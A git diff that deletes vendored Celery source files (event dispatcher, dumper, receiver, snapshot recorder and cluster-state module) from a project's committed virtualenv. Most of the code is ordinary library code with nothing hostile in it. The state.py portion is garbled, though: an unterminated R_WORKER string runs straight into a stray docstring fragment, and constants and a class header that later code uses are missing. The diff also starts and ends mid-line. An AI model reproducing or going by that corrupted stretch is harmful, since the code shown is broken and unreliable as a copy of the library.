b/backend/venv/Lib/site-packages/celery/events/dispatcher.py deleted file mode 100644 index 1969fc21..00000000 --- a/backend/venv/Lib/site-packages/celery/events/dispatcher.py +++ /dev/null @@ -1,229 +0,0 @@ -"""Event dispatcher sends events.""" - -import os -import threading -import time -from collections import defaultdict, deque - -from kombu import Producer - -from celery.app import app_or_default -from celery.utils.nodenames import anon_nodename -from celery.utils.time import utcoffset - -from .event import Event, get_exchange, group_from - -__all__ = ('EventDispatcher',) - - -class EventDispatcher: - """Dispatches event messages. - - Arguments: - connection (kombu.Connection): Connection to the broker. - - hostname (str): Hostname to identify ourselves as, - by default uses the hostname returned by - :func:`~celery.utils.anon_nodename`. - - groups (Sequence[str]): List of groups to send events for. - :meth:`send` will ignore send requests to groups not in this list. - If this is :const:`None`, all events will be sent. - Example groups include ``"task"`` and ``"worker"``. - - enabled (bool): Set to :const:`False` to not actually publish any - events, making :meth:`send` a no-op. - - channel (kombu.Channel): Can be used instead of `connection` to specify - an exact channel to use when sending events. - - buffer_while_offline (bool): If enabled events will be buffered - while the connection is down. :meth:`flush` must be called - as soon as the connection is re-established. - - Note: - You need to :meth:`close` this after use. - """ - - DISABLED_TRANSPORTS = {'sql'} - - app = None - - # set of callbacks to be called when :meth:`enabled`. - on_enabled = None - - # set of callbacks to be called when :meth:`disabled`. - on_disabled = None - - def __init__(self, connection=None, hostname=None, enabled=True, - channel=None, buffer_while_offline=True, app=None, - serializer=None, groups=None, delivery_mode=1, - buffer_group=None, buffer_limit=24, on_send_buffered=None): - self.app = app_or_default(app or self.app) - self.connection = connection - self.channel = channel - self.hostname = hostname or anon_nodename() - self.buffer_while_offline = buffer_while_offline - self.buffer_group = buffer_group or frozenset() - self.buffer_limit = buffer_limit - self.on_send_buffered = on_send_buffered - self._group_buffer = defaultdict(list) - self.mutex = threading.Lock() - self.producer = None - self._outbound_buffer = deque() - self.serializer = serializer or self.app.conf.event_serializer - self.on_enabled = set() - self.on_disabled = set() - self.groups = set(groups or []) - self.tzoffset = [-time.timezone, -time.altzone] - self.clock = self.app.clock - self.delivery_mode = delivery_mode - if not connection and channel: - self.connection = channel.connection.client - self.enabled = enabled - conninfo = self.connection or self.app.connection_for_write() - self.exchange = get_exchange(conninfo, - name=self.app.conf.event_exchange) - if conninfo.transport.driver_type in self.DISABLED_TRANSPORTS: - self.enabled = False - if self.enabled: - self.enable() - self.headers = {'hostname': self.hostname} - self.pid = os.getpid() - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - def enable(self): - self.producer = Producer(self.channel or self.connection, - exchange=self.exchange, - serializer=self.serializer, - auto_declare=False) - self.enabled = True - for callback in self.on_enabled: - callback() - - def disable(self): - if self.enabled: - self.enabled = False - self.close() - for callback in self.on_disabled: - callback() - - def publish(self, type, fields, producer, - blind=False, Event=Event, **kwargs): - """Publish event using custom :class:`~kombu.Producer`. - - Arguments: - type (str): Event type name, with group separated by dash (`-`). - fields: Dictionary of event fields, must be json serializable. - producer (kombu.Producer): Producer instance to use: - only the ``publish`` method will be called. - retry (bool): Retry in the event of connection failure. - retry_policy (Mapping): Map of custom retry policy options. - See :meth:`~kombu.Connection.ensure`. - blind (bool): Don't set logical clock value (also don't forward - the internal logical clock). - Event (Callable): Event type used to create event. - Defaults to :func:`Event`. - utcoffset (Callable): Function returning the current - utc offset in hours. - """ - clock = None if blind else self.clock.forward() - event = Event(type, hostname=self.hostname, utcoffset=utcoffset(), - pid=self.pid, clock=clock, **fields) - with self.mutex: - return self._publish(event, producer, - routing_key=type.replace('-', '.'), **kwargs) - - def _publish(self, event, producer, routing_key, retry=False, - retry_policy=None, utcoffset=utcoffset): - exchange = self.exchange - try: - producer.publish( - event, - routing_key=routing_key, - exchange=exchange.name, - retry=retry, - retry_policy=retry_policy, - declare=[exchange], - serializer=self.serializer, - headers=self.headers, - delivery_mode=self.delivery_mode, - ) - except Exception as exc: # pylint: disable=broad-except - if not self.buffer_while_offline: - raise - self._outbound_buffer.append((event, routing_key, exc)) - - def send(self, type, blind=False, utcoffset=utcoffset, retry=False, - retry_policy=None, Event=Event, **fields): - """Send event. - - Arguments: - type (str): Event type name, with group separated by dash (`-`). - retry (bool): Retry in the event of connection failure. - retry_policy (Mapping): Map of custom retry policy options. - See :meth:`~kombu.Connection.ensure`. - blind (bool): Don't set logical clock value (also don't forward - the internal logical clock). - Event (Callable): Event type used to create event, - defaults to :func:`Event`. - utcoffset (Callable): unction returning the current utc offset - in hours. - **fields (Any): Event fields -- must be json serializable. - """ - if self.enabled: - groups, group = self.groups, group_from(type) - if groups and group not in groups: - return - if group in self.buffer_group: - clock = self.clock.forward() - event = Event(type, hostname=self.hostname, - utcoffset=utcoffset(), - pid=self.pid, clock=clock, **fields) - buf = self._group_buffer[group] - buf.append(event) - if len(buf) >= self.buffer_limit: - self.flush() - elif self.on_send_buffered: - self.on_send_buffered() - else: - return self.publish(type, fields, self.producer, blind=blind, - Event=Event, retry=retry, - retry_policy=retry_policy) - - def flush(self, errors=True, groups=True): - """Flush the outbound buffer.""" - if errors: - buf = list(self._outbound_buffer) - try: - with self.mutex: - for event, routing_key, _ in buf: - self._publish(event, self.producer, routing_key) - finally: - self._outbound_buffer.clear() - if groups: - with self.mutex: - for group, events in self._group_buffer.items(): - self._publish(events, self.producer, '%s.multi' % group) - events[:] = [] # list.clear - - def extend_buffer(self, other): - """Copy the outbound buffer of another instance.""" - self._outbound_buffer.extend(other._outbound_buffer) - - def close(self): - """Close the event dispatcher.""" - self.mutex.locked() and self.mutex.release() - self.producer = None - - def _get_publisher(self): - return self.producer - - def _set_publisher(self, producer): - self.producer = producer - publisher = property(_get_publisher, _set_publisher) # XXX compat diff --git a/backend/venv/Lib/site-packages/celery/events/dumper.py b/backend/venv/Lib/site-packages/celery/events/dumper.py deleted file mode 100644 index 24c7b3e9..00000000 --- a/backend/venv/Lib/site-packages/celery/events/dumper.py +++ /dev/null @@ -1,103 +0,0 @@ -"""Utility to dump events to screen. - -This is a simple program that dumps events to the console -as they happen. Think of it like a `tcpdump` for Celery events. -""" -import sys -from datetime import datetime - -from celery.app import app_or_default -from celery.utils.functional import LRUCache -from celery.utils.time import humanize_seconds - -__all__ = ('Dumper', 'evdump') - -TASK_NAMES = LRUCache(limit=0xFFF) - -HUMAN_TYPES = { - 'worker-offline': 'shutdown', - 'worker-online': 'started', - 'worker-heartbeat': 'heartbeat', -} - -CONNECTION_ERROR = """\ --> Cannot connect to %s: %s. -Trying again %s -""" - - -def humanize_type(type): - try: - return HUMAN_TYPES[type.lower()] - except KeyError: - return type.lower().replace('-', ' ') - - -class Dumper: - """Monitor events.""" - - def __init__(self, out=sys.stdout): - self.out = out - - def say(self, msg): - print(msg, file=self.out) - # need to flush so that output can be piped. - try: - self.out.flush() - except AttributeError: # pragma: no cover - pass - - def on_event(self, ev): - timestamp = datetime.utcfromtimestamp(ev.pop('timestamp')) - type = ev.pop('type').lower() - hostname = ev.pop('hostname') - if type.startswith('task-'): - uuid = ev.pop('uuid') - if type in ('task-received', 'task-sent'): - task = TASK_NAMES[uuid] = '{}({}) args={} kwargs={}' \ - .format(ev.pop('name'), uuid, - ev.pop('args'), - ev.pop('kwargs')) - else: - task = TASK_NAMES.get(uuid, '') - return self.format_task_event(hostname, timestamp, - type, task, ev) - fields = ', '.join( - f'{key}={ev[key]}' for key in sorted(ev) - ) - sep = fields and ':' or '' - self.say(f'{hostname} [{timestamp}] {humanize_type(type)}{sep} {fields}') - - def format_task_event(self, hostname, timestamp, type, task, event): - fields = ', '.join( - f'{key}={event[key]}' for key in sorted(event) - ) - sep = fields and ':' or '' - self.say(f'{hostname} [{timestamp}] {humanize_type(type)}{sep} {task} {fields}') - - -def evdump(app=None, out=sys.stdout): - """Start event dump.""" - app = app_or_default(app) - dumper = Dumper(out=out) - dumper.say('-> evdump: starting capture...') - conn = app.connection_for_read().clone() - - def _error_handler(exc, interval): - dumper.say(CONNECTION_ERROR % ( - conn.as_uri(), exc, humanize_seconds(interval, 'in', ' ') - )) - - while 1: - try: - conn.ensure_connection(_error_handler) - recv = app.events.Receiver(conn, handlers={'*': dumper.on_event}) - recv.capture() - except (KeyboardInterrupt, SystemExit): - return conn and conn.close() - except conn.connection_errors + conn.channel_errors: - dumper.say('-> Connection lost, attempting reconnect') - - -if __name__ == '__main__': # pragma: no cover - evdump() diff --git a/backend/venv/Lib/site-packages/celery/events/event.py b/backend/venv/Lib/site-packages/celery/events/event.py deleted file mode 100644 index fd2ee1eb..00000000 --- a/backend/venv/Lib/site-packages/celery/events/event.py +++ /dev/null @@ -1,63 +0,0 @@ -"""Creating events, and event exchange definition.""" -import time -from copy import copy - -from kombu import Exchange - -__all__ = ( - 'Event', 'event_exchange', 'get_exchange', 'group_from', -) - -EVENT_EXCHANGE_NAME = 'celeryev' -#: Exchange used to send events on. -#: Note: Use :func:`get_exchange` instead, as the type of -#: exchange will vary depending on the broker connection. -event_exchange = Exchange(EVENT_EXCHANGE_NAME, type='topic') - - -def Event(type, _fields=None, __dict__=dict, __now__=time.time, **fields): - """Create an event. - - Notes: - An event is simply a dictionary: the only required field is ``type``. - A ``timestamp`` field will be set to the current time if not provided. - """ - event = __dict__(_fields, **fields) if _fields else fields - if 'timestamp' not in event: - event.update(timestamp=__now__(), type=type) - else: - event['type'] = type - return event - - -def group_from(type): - """Get the group part of an event type name. - - Example: - >>> group_from('task-sent') - 'task' - - >>> group_from('custom-my-event') - 'custom' - """ - return type.split('-', 1)[0] - - -def get_exchange(conn, name=EVENT_EXCHANGE_NAME): - """Get exchange used for sending events. - - Arguments: - conn (kombu.Connection): Connection used for sending/receiving events. - name (str): Name of the exchange. Default is ``celeryev``. - - Note: - The event type changes if Redis is used as the transport - (from topic -> fanout). - """ - ex = copy(event_exchange) - if conn.transport.driver_type in {'redis', 'gcpubsub'}: - # quick hack for Issue #436 - ex.type = 'fanout' - if name != ex.name: - ex.name = name - return ex diff --git a/backend/venv/Lib/site-packages/celery/events/receiver.py b/backend/venv/Lib/site-packages/celery/events/receiver.py deleted file mode 100644 index 14871073..00000000 --- a/backend/venv/Lib/site-packages/celery/events/receiver.py +++ /dev/null @@ -1,135 +0,0 @@ -"""Event receiver implementation.""" -import time -from operator import itemgetter - -from kombu import Queue -from kombu.connection import maybe_channel -from kombu.mixins import ConsumerMixin - -from celery import uuid -from celery.app import app_or_default -from celery.utils.time import adjust_timestamp - -from .event import get_exchange - -__all__ = ('EventReceiver',) - -CLIENT_CLOCK_SKEW = -1 - -_TZGETTER = itemgetter('utcoffset', 'timestamp') - - -class EventReceiver(ConsumerMixin): - """Capture events. - - Arguments: - connection (kombu.Connection): Connection to the broker. - handlers (Mapping[Callable]): Event handlers. - This is a map of event type names and their handlers. - The special handler `"*"` captures all events that don't have a - handler. - """ - - app = None - - def __init__(self, channel, handlers=None, routing_key='#', - node_id=None, app=None, queue_prefix=None, - accept=None, queue_ttl=None, queue_expires=None): - self.app = app_or_default(app or self.app) - self.channel = maybe_channel(channel) - self.handlers = {} if handlers is None else handlers - self.routing_key = routing_key - self.node_id = node_id or uuid() - self.queue_prefix = queue_prefix or self.app.conf.event_queue_prefix - self.exchange = get_exchange( - self.connection or self.app.connection_for_write(), - name=self.app.conf.event_exchange) - if queue_ttl is None: - queue_ttl = self.app.conf.event_queue_ttl - if queue_expires is None: - queue_expires = self.app.conf.event_queue_expires - self.queue = Queue( - '.'.join([self.queue_prefix, self.node_id]), - exchange=self.exchange, - routing_key=self.routing_key, - auto_delete=True, durable=False, - message_ttl=queue_ttl, - expires=queue_expires, - ) - self.clock = self.app.clock - self.adjust_clock = self.clock.adjust - self.forward_clock = self.clock.forward - if accept is None: - accept = {self.app.conf.event_serializer, 'json'} - self.accept = accept - - def process(self, type, event): - """Process event by dispatching to configured handler.""" - handler = self.handlers.get(type) or self.handlers.get('*') - handler and handler(event) - - def get_consumers(self, Consumer, channel): - return [Consumer(queues=[self.queue], - callbacks=[self._receive], no_ack=True, - accept=self.accept)] - - def on_consume_ready(self, connection, channel, consumers, - wakeup=True, **kwargs): - if wakeup: - self.wakeup_workers(channel=channel) - - def itercapture(self, limit=None, timeout=None, wakeup=True): - return self.consume(limit=limit, timeout=timeout, wakeup=wakeup) - - def capture(self, limit=None, timeout=None, wakeup=True): - """Open up a consumer capturing events. - - This has to run in the main process, and it will never stop - unless :attr:`EventDispatcher.should_stop` is set to True, or - forced via :exc:`KeyboardInterrupt` or :exc:`SystemExit`. - """ - for _ in self.consume(limit=limit, timeout=timeout, wakeup=wakeup): - pass - - def wakeup_workers(self, channel=None): - self.app.control.broadcast('heartbeat', - connection=self.connection, - channel=channel) - - def event_from_message(self, body, localize=True, - now=time.time, tzfields=_TZGETTER, - adjust_timestamp=adjust_timestamp, - CLIENT_CLOCK_SKEW=CLIENT_CLOCK_SKEW): - type = body['type'] - if type == 'task-sent': - # clients never sync so cannot use their clock value - _c = body['clock'] = (self.clock.value or 1) + CLIENT_CLOCK_SKEW - self.adjust_clock(_c) - else: - try: - clock = body['clock'] - except KeyError: - body['clock'] = self.forward_clock() - else: - self.adjust_clock(clock) - - if localize: - try: - offset, timestamp = tzfields(body) - except KeyError: - pass - else: - body['timestamp'] = adjust_timestamp(timestamp, offset) - body['local_received'] = now() - return type, body - - def _receive(self, body, message, list=list, isinstance=isinstance): - if isinstance(body, list): # celery 4.0+: List of events - process, from_message = self.process, self.event_from_message - [process(*from_message(event)) for event in body] - else: - self.process(*self.event_from_message(body)) - - @property - def connection(self): - return self.channel.connection.client if self.channel else None diff --git a/backend/venv/Lib/site-packages/celery/events/snapshot.py b/backend/venv/Lib/site-packages/celery/events/snapshot.py deleted file mode 100644 index d4dd65b1..00000000 --- a/backend/venv/Lib/site-packages/celery/events/snapshot.py +++ /dev/null @@ -1,111 +0,0 @@ -"""Periodically store events in a database. - -Consuming the events as a stream isn't always suitable -so this module implements a system to take snapshots of the -state of a cluster at regular intervals. There's a full -implementation of this writing the snapshots to a database -in :mod:`djcelery.snapshots` in the `django-celery` distribution. -""" -from kombu.utils.limits import TokenBucket - -from celery import platforms -from celery.app import app_or_default -from celery.utils.dispatch import Signal -from celery.utils.imports import instantiate -from celery.utils.log import get_logger -from celery.utils.time import rate -from celery.utils.timer2 import Timer - -__all__ = ('Polaroid', 'evcam') - -logger = get_logger('celery.evcam') - - -class Polaroid: - """Record event snapshots.""" - - timer = None - shutter_signal = Signal(name='shutter_signal', providing_args={'state'}) - cleanup_signal = Signal(name='cleanup_signal') - clear_after = False - - _tref = None - _ctref = None - - def __init__(self, state, freq=1.0, maxrate=None, - cleanup_freq=3600.0, timer=None, app=None): - self.app = app_or_default(app) - self.state = state - self.freq = freq - self.cleanup_freq = cleanup_freq - self.timer = timer or self.timer or Timer() - self.logger = logger - self.maxrate = maxrate and TokenBucket(rate(maxrate)) - - def install(self): - self._tref = self.timer.call_repeatedly(self.freq, self.capture) - self._ctref = self.timer.call_repeatedly( - self.cleanup_freq, self.cleanup, - ) - - def on_shutter(self, state): - pass - - def on_cleanup(self): - pass - - def cleanup(self): - logger.debug('Cleanup: Running...') - self.cleanup_signal.send(sender=self.state) - self.on_cleanup() - - def shutter(self): - if self.maxrate is None or self.maxrate.can_consume(): - logger.debug('Shutter: %s', self.state) - self.shutter_signal.send(sender=self.state) - self.on_shutter(self.state) - - def capture(self): - self.state.freeze_while(self.shutter, clear_after=self.clear_after) - - def cancel(self): - if self._tref: - self._tref() # flush all received events. - self._tref.cancel() - if self._ctref: - self._ctref.cancel() - - def __enter__(self): - self.install() - return self - - def __exit__(self, *exc_info): - self.cancel() - - -def evcam(camera, freq=1.0, maxrate=None, loglevel=0, - logfile=None, pidfile=None, timer=None, app=None, - **kwargs): - """Start snapshot recorder.""" - app = app_or_default(app) - - if pidfile: - platforms.create_pidlock(pidfile) - - app.log.setup_logging_subsystem(loglevel, logfile) - - print(f'-> evcam: Taking snapshots with {camera} (every {freq} secs.)') - state = app.events.State() - cam = instantiate(camera, state, app=app, freq=freq, - maxrate=maxrate, timer=timer) - cam.install() - conn = app.connection_for_read() - recv = app.events.Receiver(conn, handlers={'*': state.event}) - try: - try: - recv.capture(limit=None) - except KeyboardInterrupt: - raise SystemExit - finally: - cam.cancel() - conn.close() diff --git a/backend/venv/Lib/site-packages/celery/events/state.py b/backend/venv/Lib/site-packages/celery/events/state.py deleted file mode 100644 index 34499913..00000000 --- a/backend/venv/Lib/site-packages/celery/events/state.py +++ /dev/null @@ -1,730 +0,0 @@ -"""In-memory representation of cluster state. - -This module implements a data-structure used to keep -track of the state of a cluster of workers and the tasks -it is working on (by consuming events). - -For every event consumed the state is updated, -so the state represents the state of the cluster -at the time of the last event. - -Snapshots (:mod:`celery.events.snapshot`) can be used to -take "pictures" of this state at regular intervals -to for example, store that in a database. -""" -import bisect -import sys -import threading -from collections import defaultdict -from collections.abc import Callable -from datetime import datetime -from decimal import Decimal -from itertools import islice -from operator import itemgetter -from time import time -from typing import Mapping, Optional # noqa -from weakref import WeakSet, ref - -from kombu.clocks import timetuple -from kombu.utils.objects import cached_property - -from celery import states -from celery.utils.functional import LRUCache, memoize, pass1 -from celery.utils.log import get_logger - -__all__ = ('Worker', 'Task', 'State', 'heartbeat_expires') - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. -# pylint: disable=too-many-function-args -# For some reason pylint thinks ._event is a method, when it's a property. - -#: Set if running PyPy -PYPY = hasattr(sys, 'pypy_version_info') - -#: The window (in percentage) is added to the workers heartbeat -#: frequency. If the time between updates exceeds this window, -#: then the worker is considered to be offline. -HEARTBEAT_EXPIRE_WINDOW = 200 - -#: Max drift between event timestamp and time of event received -#: before we alert that clocks may be unsynchronized. -HEARTBEAT_DRIFT_MAX = 16 - -DRIFT_WARNING = ( - "Substantial drift from %s may mean clocks are out of sync. Current drift is " - "%s seconds. [orig: %s recv: %s]" -) - -logger = get_logger(__name__) -warn = logger.warning - -R_STATE = '' -R_WORKER = '>> add_tasks = state.tasks_by_type['proj.tasks.add'] - - while still supporting the method call:: - - >>> add_tasks = list(state.tasks_by_type( - ... 'proj.tasks.add', reverse=True)) - """ - - def __init__(self, fun, *args, **kwargs): - self.fun = fun - super().__init__(*args, **kwargs) - - def __call__(self, *args, **kwargs): - return self.fun(*args, **kwargs) - - -Callable.register(CallableDefaultdict) - - -@memoize(maxsize=1000, keyfun=lambda a, _: a[0]) -def _warn_drift(hostname, drift, local_received, timestamp): - # we use memoize here so the warning is only logged once per hostname - warn(DRIFT_WARNING, hostname, drift, - datetime.fromtimestamp(local_received), - datetime.fromtimestamp(timestamp)) - - -def heartbeat_expires(timestamp, freq=60, - expire_window=HEARTBEAT_EXPIRE_WINDOW, - Decimal=Decimal, float=float, isinstance=isinstance): - """Return time when heartbeat expires.""" - # some json implementations returns decimal.Decimal objects, - # which aren't compatible with float. - freq = float(freq) if isinstance(freq, Decimal) else freq - if isinstance(timestamp, Decimal): - timestamp = float(timestamp) - return timestamp + (freq * (expire_window / 1e2)) - - -def _depickle_task(cls, fields): - return cls(**fields) - - -def with_unique_field(attr): - - def _decorate_cls(cls): - - def __eq__(this, other): - if isinstance(other, this.__class__): - return getattr(this, attr) == getattr(other, attr) - return NotImplemented - cls.__eq__ = __eq__ - - def __hash__(this): - return hash(getattr(this, attr)) - cls.__hash__ = __hash__ - - return cls - return _decorate_cls - - -@with_unique_field('hostname') -class Worker: - """Worker State.""" - - heartbeat_max = 4 - expire_window = HEARTBEAT_EXPIRE_WINDOW - - _fields = ('hostname', 'pid', 'freq', 'heartbeats', 'clock', - 'active', 'processed', 'loadavg', 'sw_ident', - 'sw_ver', 'sw_sys') - if not PYPY: # pragma: no cover - __slots__ = _fields + ('event', '__dict__', '__weakref__') - - def __init__(self, hostname=None, pid=None, freq=60, - heartbeats=None, clock=0, active=None, processed=None, - loadavg=None, sw_ident=None, sw_ver=None, sw_sys=None): - self.hostname = hostname - self.pid = pid - self.freq = freq - self.heartbeats = [] if heartbeats is None else heartbeats - self.clock = clock or 0 - self.active = active - self.processed = processed - self.loadavg = loadavg - self.sw_ident = sw_ident - self.sw_ver = sw_ver - self.sw_sys = sw_sys - self.event = self._create_event_handler() - - def __reduce__(self): - return self.__class__, (self.hostname, self.pid, self.freq, - self.heartbeats, self.clock, self.active, - self.processed, self.loadavg, self.sw_ident, - self.sw_ver, self.sw_sys) - - def _create_event_handler(self): - _set = object.__setattr__ - hbmax = self.heartbeat_max - heartbeats = self.heartbeats - hb_pop = self.heartbeats.pop - hb_append = self.heartbeats.append - - def event(type_, timestamp=None, - local_received=None, fields=None, - max_drift=HEARTBEAT_DRIFT_MAX, abs=abs, int=int, - insort=bisect.insort, len=len): - fields = fields or {} - for k, v in fields.items(): - _set(self, k, v) - if type_ == 'offline': - heartbeats[:] = [] - else: - if not local_received or not timestamp: - return - drift = abs(int(local_received) - int(timestamp)) - if drift > max_drift: - _warn_drift(self.hostname, drift, - local_received, timestamp) - if local_received: # pragma: no cover - hearts = len(heartbeats) - if hearts > hbmax - 1: - hb_pop(0) - if hearts and local_received > heartbeats[-1]: - hb_append(local_received) - else: - insort(heartbeats, local_received) - return event - - def update(self, f, **kw): - d = dict(f, **kw) if kw else f - for k, v in d.items(): - setattr(self, k, v) - - def __repr__(self): - return R_WORKER.format(self) - - @property - def status_string(self): - return 'ONLINE' if self.alive else 'OFFLINE' - - @property - def heartbeat_expires(self): - return heartbeat_expires(self.heartbeats[-1], - self.freq, self.expire_window) - - @property - def alive(self, nowfun=time): - return bool(self.heartbeats and nowfun() < self.heartbeat_expires) - - @property - def id(self): - return '{0.hostname}.{0.pid}'.format(self) - - -@with_unique_field('uuid') -class Task: - """Task State.""" - - name = received = sent = started = succeeded = failed = retried = \ - revoked = rejected = args = kwargs = eta = expires = retries = \ - worker = result = exception = timestamp = runtime = traceback = \ - exchange = routing_key = root_id = parent_id = client = None - state = states.PENDING - clock = 0 - - _fields = ( - 'uuid', 'name', 'state', 'received', 'sent', 'started', 'rejected', - 'succeeded', 'failed', 'retried', 'revoked', 'args', 'kwargs', - 'eta', 'expires', 'retries', 'worker', 'result', 'exception', - 'timestamp', 'runtime', 'traceback', 'exchange', 'routing_key', - 'clock', 'client', 'root', 'root_id', 'parent', 'parent_id', - 'children', - ) - if not PYPY: # pragma: no cover - __slots__ = ('__dict__', '__weakref__') - - #: How to merge out of order events. - #: Disorder is detected by logical ordering (e.g., :event:`task-received` - #: must've happened before a :event:`task-failed` event). - #: - #: A merge rule consists of a state and a list of fields to keep from - #: that state. ``(RECEIVED, ('name', 'args')``, means the name and args - #: fields are always taken from the RECEIVED state, and any values for - #: these fields received before or after is simply ignored. - merge_rules = { - states.RECEIVED: ( - 'name', 'args', 'kwargs', 'parent_id', - 'root_id', 'retries', 'eta', 'expires', - ), - } - - #: meth:`info` displays these fields by default. - _info_fields = ( - 'args', 'kwargs', 'retries', 'result', 'eta', 'runtime', - 'expires', 'exception', 'exchange', 'routing_key', - 'root_id', 'parent_id', - ) - - def __init__(self, uuid=None, cluster_state=None, children=None, **kwargs): - self.uuid = uuid - self.cluster_state = cluster_state - if self.cluster_state is not None: - self.children = WeakSet( - self.cluster_state.tasks.get(task_id) - for task_id in children or () - if task_id in self.cluster_state.tasks - ) - else: - self.children = WeakSet() - self._serializer_handlers = { - 'children': self._serializable_children, - 'root': self._serializable_root, - 'parent': self._serializable_parent, - } - if kwargs: - self.__dict__.update(kwargs) - - def event(self, type_, timestamp=None, local_received=None, fields=None, - precedence=states.precedence, setattr=setattr, - task_event_to_state=TASK_EVENT_TO_STATE.get, RETRY=states.RETRY): - fields = fields or {} - - # using .get is faster than catching KeyError in this case. - state = task_event_to_state(type_) - if state is not None: - # sets, for example, self.succeeded to the timestamp. - setattr(self, type_, timestamp) - else: - state = type_.upper() # custom state - - # note that precedence here is reversed - # see implementation in celery.states.state.__lt__ - if state != RETRY and self.state != RETRY and \ - precedence(state) > precedence(self.state): - # this state logically happens-before the current state, so merge. - keep = self.merge_rules.get(state) - if keep is not None: - fields = { - k: v for k, v in fields.items() if k in keep - } - else: - fields.update(state=state, timestamp=timestamp) - - # update current state with info from this event. - self.__dict__.update(fields) - - def info(self, fields=None, extra=None): - """Information about this task suitable for on-screen display.""" - extra = [] if not extra else extra - fields = self._info_fields if fields is None else fields - - def _keys(): - for key in list(fields) + list(extra): - value = getattr(self, key, None) - if value is not None: - yield key, value - - return dict(_keys()) - - def __repr__(self): - return R_TASK.format(self) - - def as_dict(self): - get = object.__getattribute__ - handler = self._serializer_handlers.get - return { - k: handler(k, pass1)(get(self, k)) for k in self._fields - } - - def _serializable_children(self, value): - return [task.id for task in self.children] - - def _serializable_root(self, value): - return self.root_id - - def _serializable_parent(self, value): - return self.parent_id - - def __reduce__(self): - return _depickle_task, (self.__class__, self.as_dict()) - - @property - def id(self): - return self.uuid - - @property - def origin(self): - return self.client if self.worker is None else self.worker.id - - @property - def ready(self): - return self.state in states.READY_STATES - - @cached_property - def parent(self): - # issue github.com/mher/flower/issues/648 - try: - return self.parent_id and self.cluster_state.tasks.data[self.parent_id] - except KeyError: - return None - - @cached_property - def root(self): - # issue github.com/mher/flower/issues/648 - try: - return self.root_id and self.cluster_state.tasks.data[self.root_id] - except KeyError: - return None - - -class State: - """Records clusters state.""" - - Worker = Worker - Task = Task - event_count = 0 - task_count = 0 - heap_multiplier = 4 - - def __init__(self, callback=None, - workers=None, tasks=None, taskheap=None, - max_workers_in_memory=5000, max_tasks_in_memory=10000, - on_node_join=None, on_node_leave=None, - tasks_by_type=None, tasks_by_worker=None): - self.event_callback = callback - self.workers = (LRUCache(max_workers_in_memory) - if workers is None else workers) - self.tasks = (LRUCache(max_tasks_in_memory) - if tasks is None else tasks) - self._taskheap = [] if taskheap is None else taskheap - self.max_workers_in_memory = max_workers_in_memory - self.max_tasks_in_memory = max_tasks_in_memory - self.on_node_join = on_node_join - self.on_node_leave = on_node_leave - self._mutex = threading.Lock() - self.handlers = {} - self._seen_types = set() - self._tasks_to_resolve = {} - self.rebuild_taskheap() - - self.tasks_by_type = CallableDefaultdict( - self._tasks_by_type, WeakSet) # type: Mapping[str, WeakSet[Task]] - self.tasks_by_type.update( - _deserialize_Task_WeakSet_Mapping(tasks_by_type, self.tasks)) - - self.tasks_by_worker = CallableDefaultdict( - self._tasks_by_worker, WeakSet) # type: Mapping[str, WeakSet[Task]] - self.tasks_by_worker.update( - _deserialize_Task_WeakSet_Mapping(tasks_by_worker, self.tasks)) - - @cached_property - def _event(self): - return self._create_dispatcher() - - def freeze_while(self, fun, *args, **kwargs): - clear_after = kwargs.pop('clear_after', False) - with self._mutex: - try: - return fun(*args, **kwargs) - finally: - if clear_after: - self._clear() - - def clear_tasks(self, ready=True): - with self._mutex: - return self._clear_tasks(ready) - - def _clear_tasks(self, ready: bool = True): - if ready: - in_progress = { - uuid: task for uuid, task in self.itertasks() - if task.state not in states.READY_STATES - } - self.tasks.clear() - self.tasks.update(in_progress) - else: - self.tasks.clear() - self._taskheap[:] = [] - - def _clear(self, ready=True): - self.workers.clear() - self._clear_tasks(ready) - self.event_count = 0 - self.task_count = 0 - - def clear(self, ready: bool = True): - with self._mutex: - return self._clear(ready) - - def get_or_create_worker(self, hostname, **kwargs): - """Get or create worker by hostname. - - Returns: - Tuple: of ``(worker, was_created)`` pairs. - """ - try: - worker = self.workers[hostname] - if kwargs: - worker.update(kwargs) - return worker, False - except KeyError: - worker = self.workers[hostname] = self.Worker( - hostname, **kwargs) - return worker, True - - def get_or_create_task(self, uuid): - """Get or create task by uuid.""" - try: - return self.tasks[uuid], False - except KeyError: - task = self.tasks[uuid] = self.Task(uuid, cluster_state=self) - return task, True - - def event(self, event): - with self._mutex: - return self._event(event) - - def task_event(self, type_, fields): - """Deprecated, use :meth:`event`.""" - return self._event(dict(fields, type='-'.join(['task', type_])))[0] - - def worker_event(self, type_, fields): - """Deprecated, use :meth:`event`.""" - return self._event(dict(fields, type='-'.join(['worker', type_])))[0] - - def _create_dispatcher(self): - - # pylint: disable=too-many-statements - # This code is highly optimized, but not for reusability. - get_handler = self.handlers.__getitem__ - event_callback = self.event_callback - wfields = itemgetter('hostname', 'timestamp', 'local_received') - tfields = itemgetter('uuid', 'hostname', 'timestamp', - 'local_received', 'clock') - taskheap = self._taskheap - th_append = taskheap.append - th_pop = taskheap.pop - # Removing events from task heap is an O(n) operation, - # so easier to just account for the common number of events - # for each task (PENDING->RECEIVED->STARTED->final) - #: an O(n) operation - max_events_in_heap = self.max_tasks_in_memory * self.heap_multiplier - add_type = self._seen_types.add - on_node_join, on_node_leave = self.on_node_join, self.on_node_leave - tasks, Task = self.tasks, self.Task - workers, Worker = self.workers, self.Worker - # avoid updating LRU entry at getitem - get_worker, get_task = workers.data.__getitem__, tasks.data.__getitem__ - - get_task_by_type_set = self.tasks_by_type.__getitem__ - get_task_by_worker_set = self.tasks_by_worker.__getitem__ - - def _event(event, - timetuple=timetuple, KeyError=KeyError, - insort=bisect.insort, created=True): - self.event_count += 1 - if event_callback: - event_callback(self, event) - group, _, subject = event['type'].partition('-') - try: - handler = get_handler(group) - except KeyError: - pass - else: - return handler(subject, event), subject - - if group == 'worker': - try: - hostname, timestamp, local_received = wfields(event) - except KeyError: - pass - else: - is_offline = subject == 'offline' - try: - worker, created = get_worker(hostname), False - except KeyError: - if is_offline: - worker, created = Worker(hostname), False - else: - worker = workers[hostname] = Worker(hostname) - worker.event(subject, timestamp, local_received, event) - if on_node_join and (created or subject == 'online'): - on_node_join(worker) - if on_node_leave and is_offline: - on_node_leave(worker) - workers.pop(hostname, None) - return (worker, created), subject - elif group == 'task': - (uuid, hostname, timestamp, - local_received, clock) = tfields(event) - # task-sent event is sent by client, not worker - is_client_event = subject 